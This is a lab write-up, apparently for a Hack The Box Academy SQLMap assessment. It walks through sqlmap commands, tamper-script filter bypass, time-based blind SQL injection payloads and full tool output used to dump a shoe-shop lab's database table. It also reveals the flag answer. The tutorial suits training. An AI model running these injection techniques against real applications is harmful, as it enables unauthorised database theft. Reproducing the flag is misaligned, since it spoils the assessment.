Skills Assessment - SQLMap Essentials
Description:
You are given access to a web application with basic protection mechanisms. Use the skills learned in this module to find the SQLi vulnerability with SQLMap and exploit it accordingly. To complete this module, find the flag and submit it here.
Challenge 1
What's the contents of table final_flag?
Hint: First, navigate the website to find potential attack vectors. Then, try to use various security bypassing techniques you learned to get SQL injection working.
Lets first visit the target on a browser tab:

The site looks like shoe shop, the first step is to open BurpSuite proxy to monitor the network traffic and see if there is anything we might be able to use, see Intercepting Web Requests and Proxy Setup for this. ()note this can also be done with browser devtools.
After playing with the site for while I found the following flow:
- First go to the Catalog > Shop tab.
- Then on any shoe item click on Add To Cart +
-
This will run a php script that will give an alert to the user to say the the item was added

-
When clicking the Add to Cart + button, we notice a POST request to action.php

The following is the exact request retrieved from BurpSuite:
POST /action.php HTTP/1.1
Host: 154.57.164.62:32551
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 8
Origin: http://154.57.164.62:32551
Connection: keep-alive
Referer: http://154.57.164.62:32551/shop.html
Priority: u=0
{"id":1}
This looks like it might be a good place to check. I’ll copy it as curl, then replace the command with sqlmap:
sqlmap 'http://154.57.164.62:32551/action.php' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/json' \
-H 'Origin: http://154.57.164.62:32551' \
-H 'Connection: keep-alive' \
-H 'Referer: http://154.57.164.62:32551/shop.html' \
-H 'Priority: u=0' \
--data-raw '{"id":1}'
- Lets first try to do this simple
sqlmapscan to see if the target may be vulnerable to SQL injection - I kept the default options for all the prompts
- Note this will take some time so be patient
Output:
...
[14:00:58] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:00:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:00:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:01:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:01:07] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[14:01:12] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[14:01:16] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[14:01:21] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[14:01:25] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[14:01:30] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[14:01:34] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[14:01:39] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[14:01:43] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[14:01:48] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
[14:02:00] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 2203 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 9738 FROM (SELECT(SLEEP(5)))Wbrz)"}
---
[14:03:27] [INFO] the back-end DBMS is MySQL
...
Note on the above output that sqlmap found the parameter JSON id to be vulnerable, and therefore identified an injection point. Now that we know SQL injection is possible on this target, lets go ahead and follow their suggestion regarding bypassing techniques. I will start by trying temper scripts as in the last section.
sqlmap 'http://154.57.164.62:32551/action.php' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/json' \
-H 'Origin: http://154.57.164.62:32551' \
-H 'Connection: keep-alive' \
-H 'Referer: http://154.57.164.62:32551/shop.html' \
-H 'Priority: u=0' \
--data-raw '{"id":1}' \
--tamper=between --is-dba
- I will first try the between script to see if we can bypass any protections
- Note that I am using the
--is-dbaswitch which helps us check whether we have DBA privileges with SQLMap
Output:
...
[14:16:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:16:02] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
a
[14:16:14] [INFO] adjusting time delay to 2 seconds due to good response times
dmin@localhost
current user is DBA: False
[14:18:09] [INFO] fetched data logged to text files under '/home/macc/.local/share/sqlmap/output/154.57.164.62'
[*] ending @ 14:18:09 /2026-02-12/
- Note the line:
current user is DBA: False
Looks like we are not a DBA, but we do seem to be getting information from the system. We’ll test it out and see if we can pull the table:
sqlmap 'http://154.57.164.62:32551/action.php' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/json' \
-H 'Origin: http://154.57.164.62:32551' \
-H 'Connection: keep-alive' \
-H 'Referer: http://154.57.164.62:32551/shop.html' \
-H 'Priority: u=0' \
--data-raw '{"id":1}' \
--tamper=between --dump -T "final_flag"
- Note we are using the
--batchoption to select the default answers to all prompts fromsqlmap - We are also using
--dumpto get the actual info from the tables - And finally we specify the name of the table given in the challenge with the
-Tswitch.
Output:
[14:24:54] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:24:54] [INFO] fetching current database
[14:24:54] [INFO] resumed: psoduction
[14:24:54] [INFO] fetching columns for table 'final_flag' in database 'psoduction'
[14:24:54] [INFO] resumed: 0
[14:24:54] [ERROR] unable to retrieve the number of columns for table 'final_flag' in database 'psoduction'
[14:24:54] [WARNING] unable to retrieve column names for table 'final_flag' in database 'psoduction'
do you want to use common column existence check? [y/N/q]
[14:25:02] [WARNING] unable to enumerate the columns for table 'final_flag' in database 'psoduction'
[14:25:02] [INFO] fetched data logged to text files under '/home/macc/.local/share/sqlmap/output/154.57.164.62'
Note that even though the dump didn't work but we got the database name: "psoduction", or at least it looks like it is a database name, lets verify it now doing a --flush-session just to make sure the database is not called "production" instead and was retrieved erroneously by sqlmap as as "psoduction"
sqlmap 'http://154.57.164.62:32551/action.php' \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/json' \
-H 'Origin: http://154.57.164.62:32551' \
-H 'Connection: keep-alive' \
-H 'Referer: http://154.57.164.62:32551/shop.html' \
-H 'Priority: u=0' \
--data-raw '{"id":1}' \
--flush-session --tamper=between --dump -T "final_flag"
- Session Data Corruption or Reuse:
- Cached session data may contain inconsistent or corrupted information. Using
--flush-sessionensures fresh data retrieval and avoids conflicts from previous runs. - Using
--flush-sessionto clear cached data and avoid reusing stale session data.
- Cached session data may contain inconsistent or corrupted information. Using
- Note this will again take some time so be patient.
- By doing this, we ensure that the name of the database is retrieved correctly since we are doing a fresh scan two times.
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2210 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 2405 FROM (SELECT(SLEEP(5)))jhOx)"}
---
[15:07:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:07:26] [INFO] the back-end DBMS is MySQL
[15:07:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:07:37] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:07:37] [INFO] fetching current database
[15:07:37] [INFO] retrieved:
[15:07:48] [INFO] adjusting time delay to 2 seconds due to good response times
production
[15:09:11] [INFO] fetching columns for table 'final_flag' in database 'production'
[15:09:11] [INFO] retrieved: 2
[15:09:17] [INFO] retrieved: id
[15:09:33] [INFO] retrieved: content
[15:10:34] [INFO] fetching entries for table 'final_flag' in database 'production'
[15:10:34] [INFO] fetching number of entries for table 'final_flag' in database 'production'
[15:10:34] [INFO] retrieved: 1
[15:10:38] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
HTB{n07_50_h4rd_r16h7?!}
[15:14:26] [INFO] retrieved: 1
Database: production
Table: final_flag
[1 entry]
+----+--------------------------+
| id | content |
+----+--------------------------+
| 1 | HTB{n07_50_h4rd_r16h7?!} |
+----+--------------------------+
[15:14:32] [INFO] table 'production.final_flag' dumped to CSV file '/home/macc/.local/share/sqlmap/output/154.57.164.62/dump/production/final_flag.csv'
[15:14:32] [INFO] fetched data logged to text files under '/home/macc/.local/share/sqlmap/output/154.57.164.62'
[*] ending @ 15:14:32 /2026-02-12/
- It seemed like
sqlmaphad made a mistake while retrieving the name, and the real database name is "production". - Now the table dump worked since the database name was retrieved correctly
flag: HTB